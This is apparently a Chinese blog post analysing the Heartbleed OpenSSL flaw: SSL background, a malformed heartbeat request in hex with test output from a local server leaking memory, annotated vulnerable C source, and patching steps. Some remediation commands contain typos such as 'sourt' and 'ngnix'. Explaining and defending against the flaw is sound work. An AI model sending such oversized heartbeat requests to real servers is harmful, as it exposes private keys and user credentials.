近日闹的沸沸扬扬的Heartbleed漏洞,仿佛一下子再次将人们拉回了对网络安全的关注和担忧。越来越发达的网络在为我们提供方便工作生活的同时,也越来越深入地参与进了我们的真实世界,越来越与我们的切身利益紧密相连。网络安全的核心价值在于信息的保全,主要威胁也是信息的泄露和滥用。今天我们来简单看一看这个引人关注的漏洞。
OpenSSL官方给出的漏洞警告声明:
Heartbleed其实是关于Heartbeat实现中的一个漏洞,这主要用于SSL的实现。由于Internet在建立之初没有更多地考虑安全性,因此目前的安全性措施更多地是对原有框架进行修补,比如IPSec,比如SSL,它们的主要目的都是为网络通信提供保密性和完整性、认证性服务。SSL是在传输层和应用层之间,主要用于基于公钥的身份认证和基于私钥的密文传输。其最广泛的就是Web应用,其次在IM、Email、在线支付等所有需要保密、完整、认证需求的领域均有应用,而OpenSSL则是SSL的一个免费开源的实现。接下来的分析主要基于自己在网络上搜集整理的信息。
SSL的工作原理:
测试验证
到这里我们可以大致了解这个漏洞的作用过程了,那么接下来我们来实际测试一下,看看结果:
1. 构造恶意请求包:
HeartBeat Requst包
hb = h2bin(”’
18 03 02 00 03
01 20 00
”’)
其中蓝色的01表示该包类型为Heartbeat_Request,后面的两个字节表示数据长度,换成十进制就是8192;
2. 服务端回应Heartbeat Request包:
[root@server]# python ssltest.py 127.0.0.1 -p 9876 > 1
Sending heartbeat request…
… received message: type = 24, ver = 0302, length = 8211
Received heartbeat response:
WARNING: server returned more data than it should – server is vulnerable!
Received heartbeat response:
0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
这里的蓝色依旧是回应包的类型标志,后面两个字节是数据长度,绿色部分中就包含了泄露的内存数据。
源码分析
接下来我们来看看这个漏洞发生的源码,该漏洞主要存在于OpenSLL的源文件ssl/d1_both.c和t1_lib.c中的心跳处理函数dtls1_process_heartbeat和tls_process_heartbeat两个函数中,下面我们以dtls1_process_heart为例进行一下分析:
-
#ifndef OPENSSL_NO_HEARTBEATS
-
int
-
dtls1_process_heartbeat(SSL *s)
-
{
-
unsigned char *p = &s->s3->rrec.data[0], *pl; //从收到的SSL的心跳请求包中提取数据部分
-
unsigned short hbtype;
-
unsigned int payload;
-
unsigned int padding = 16; /* Use minimum padding */
-
-
/* Read type and payload length first */
-
hbtype = *p++; //读取数据部分头部的包类型和数据长度(payload)
-
n2s(p, payload);
-
pl = p;
-
-
if (s->msg_callback)
-
s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
-
&s->s3->rrec.data[0], s->s3->rrec.length,
-
s, s->msg_callback_arg);
-
-
if (hbtype == TLS1_HB_REQUEST)
-
{
-
unsigned char *buffer, *bp;
-
int r;
-
-
/* Allocate memory for the response, size is 1 byte
-
* message type, plus 2 bytes payload length, plus
-
* payload, plus padding
-
*/
-
buffer = OPENSSL_malloc(1 + 2 + payload + padding); //按照请求包中的length字段值分配堆空间大小
-
bp = buffer;
-
-
/* Enter response type, length and copy payload */
-
*bp++ = TLS1_HB_RESPONSE;
-
s2n(payload, bp);
-
memcpy(bp, pl, payload); //将请求包的数据部分拷贝到分配的堆空间,但是注意:真实的数据部分是远远小于length长度的,因此使用memcpy函数会复制相邻空间的内粗你数据,最多64KB
-
bp += payload;
-
/* Random padding */
-
RAND_pseudo_bytes(bp, padding);
-
-
r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
-
-
if (r >= 0 && s->msg_callback)
-
s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
-
buffer, 3 + payload + padding,
-
s, s->msg_callback_arg);
-
-
OPENSSL_free(buffer);
-
-
if (r < 0)
-
return r;
-
}
-
else if (hbtype == TLS1_HB_RESPONSE)
-
{
-
unsigned int seq;
-
-
/* We only send sequence numbers (2 bytes unsigned int),
-
* and 16 random bytes, so we just try to read the
-
* sequence number */
-
n2s(pl, seq);
-
-
if (payload == 18 && seq == s->tlsext_hb_seq)
-
{
-
dtls1_stop_timer(s);
-
s->tlsext_hb_seq++;
-
s->tlsext_hb_pending = 0;
-
}
-
}
-
-
return 0;
-
}
这里的逻辑是这样的,请求包中的数据实际长度远远小于其标明的length长度,Server端根据其标明的length长度分配了堆,然后尝试将请求包中的数据都拷贝过来形成回应包,于是便从内存中的请求包数据处开始复制了length个长度的字节,已经远远超过了数据的实际长度,从而造成数据的泄露。通过这种方式,一般可以得到SSL使用的Server端的私钥,从而获得SSL会话密钥,以及用户的账号等信息。
补救方案
问题的修补方案也不难,基本是两条思路:
1. Update:Heartbleed漏洞只影响特定版本的OpenSSL/TLS,因此只需要根据官方的通知进行更新即可;
2. Recomplie:重编译OpenSSL,加上不使用心跳功能的选项参数:-DOPENSSL-NO-HEARTBEATS;
然后重启WEB服务即可:
# /etc/init.d/apache2 restart
# /etc/init.d/ngnix restart
# /etc/init.d/httpd restart
还需要重启其他与OpenSSL相关的服务,可以通过lsof | grep libssl | awk '{print $1}' | sourt | uniq查看与OpenSSL相关的服务。
阅读(1070) | 评论(0) | 转发(0) |